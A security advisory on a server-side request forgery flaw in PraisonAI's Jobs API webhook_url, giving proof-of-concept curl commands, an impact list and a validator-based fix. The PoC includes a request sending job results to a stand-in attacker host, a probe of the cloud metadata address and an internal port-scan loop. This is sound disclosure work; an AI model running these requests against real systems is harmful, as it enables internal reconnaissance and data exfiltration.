PraisonAI Vulnerable to Server-Side Request Forgery via Unvalidated webhook_url in Jobs API

PoC

Step 1: Start a listener to observe SSRF requests

# In a separate terminal, start a simple HTTP listener
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import json

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        print(f'Received POST from PraisonAI server:')
        print(json.dumps(json.loads(body), indent=2))
        self.send_response(200)
        self.end_headers()

HTTPServer(('0.0.0.0', 9999), Handler).serve_forever()
"

Step 2: Submit a job with a malicious webhook_url

# Point webhook to attacker-controlled server
curl -X POST http://localhost:8005/api/v1/runs \
  -H 'Content-Type: application/json' \
  -d '{
    "prompt": "say hello",
    "webhook_url": "http://attacker.example.com:9999/steal"
  }'

Step 3: Target internal services (cloud metadata)

# Attempt to reach AWS metadata service
curl -X POST http://localhost:8005/api/v1/runs \
  -H 'Content-Type: application/json' \
  -d '{
    "prompt": "say hello",
    "webhook_url": "http://169.254.169.254/latest/meta-data/"
  }'

Step 4: Internal network port scanning

# Scan internal services by observing response timing
for port in 80 443 5432 6379 8080 9200; do
  curl -s -X POST http://localhost:8005/api/v1/runs \
    -H 'Content-Type: application/json' \
    -d "{
      \"prompt\": \"say hello\",
      \"webhook_url\": \"http://10.0.0.1:${port}/\"
    }"
done

When each job completes, the server POSTs the full job result payload (including agent output, error messages, and execution metrics) to the specified URL.

Impact

1. SSRF to internal services: The server will send POST requests to any host/port reachable from the server's network, allowing interaction with internal APIs, databases, and cloud infrastructure that are not meant to be externally accessible.

2. Cloud metadata access: In cloud deployments (AWS, GCP, Azure), the server can be directed to POST to metadata endpoints (169.254.169.254, metadata.google.internal), potentially triggering actions or leaking information depending on the metadata service's POST handling.

3. Internal network reconnaissance: By submitting jobs with webhook URLs pointing to various internal hosts and ports, an attacker can discover internal services based on timing differences and error patterns in job logs.

4. Data exfiltration: The webhook payload includes the full job result (agent output), which may contain sensitive data processed by the agent. By pointing the webhook to an attacker-controlled server, this data is exfiltrated.

5. No authentication barrier: The Jobs API server has no authentication by default, meaning any network-reachable attacker can exploit this without credentials.

Recommended Fix

Add URL validation to restrict webhook URLs to safe destinations. In models.py, add a Pydantic validator:

from pydantic import BaseModel, Field, field_validator
from urllib.parse import urlparse
import ipaddress

class JobSubmitRequest(BaseModel):
    webhook_url: Optional[str] = Field(None, description="URL to POST results when complete")

    @field_validator("webhook_url")
    @classmethod
    def validate_webhook_url(cls, v: Optional[str]) -> Optional[str]:
        if v is None:
            return v
        
        parsed = urlparse(v)
        
        # Only allow http and https schemes
        if parsed.scheme not in ("http", "https"):
            raise ValueError("webhook_url must use http or https scheme")
        
        # Block private/internal IP ranges
        hostname = parsed.hostname
        if not hostname:
            raise ValueError("webhook_url must have a valid hostname")
        
        try:
            ip = ipaddress.ip_address(hostname)
            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
                raise ValueError("webhook_url must not point to private/internal addresses")
        except ValueError as e:
            if "must not point" in str(e):
                raise
            # hostname is not an IP — resolve and check
            pass
        
        return v

Additionally, in executor.py, add DNS resolution validation before making the request to prevent DNS rebinding:

async def _send_webhook(self, job: Job):
    if not job.webhook_url:
        return
    
    # Validate resolved IP is not private (prevent DNS rebinding)
    from urllib.parse import urlparse
    import socket, ipaddress
    
    parsed = urlparse(job.webhook_url)
    try:
        resolved_ip = socket.getaddrinfo(parsed.hostname, parsed.port or 443)[0][4][0]
        ip = ipaddress.ip_address(resolved_ip)
        if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
            logger.warning(f"Webhook blocked for {job.id}: resolved to private IP {resolved_ip}")
            return
    except (socket.gaierror, ValueError):
        logger.warning(f"Webhook blocked for {job.id}: could not resolve {parsed.hostname}")
        return
    
    # ... proceed with httpx.AsyncClient.post() ...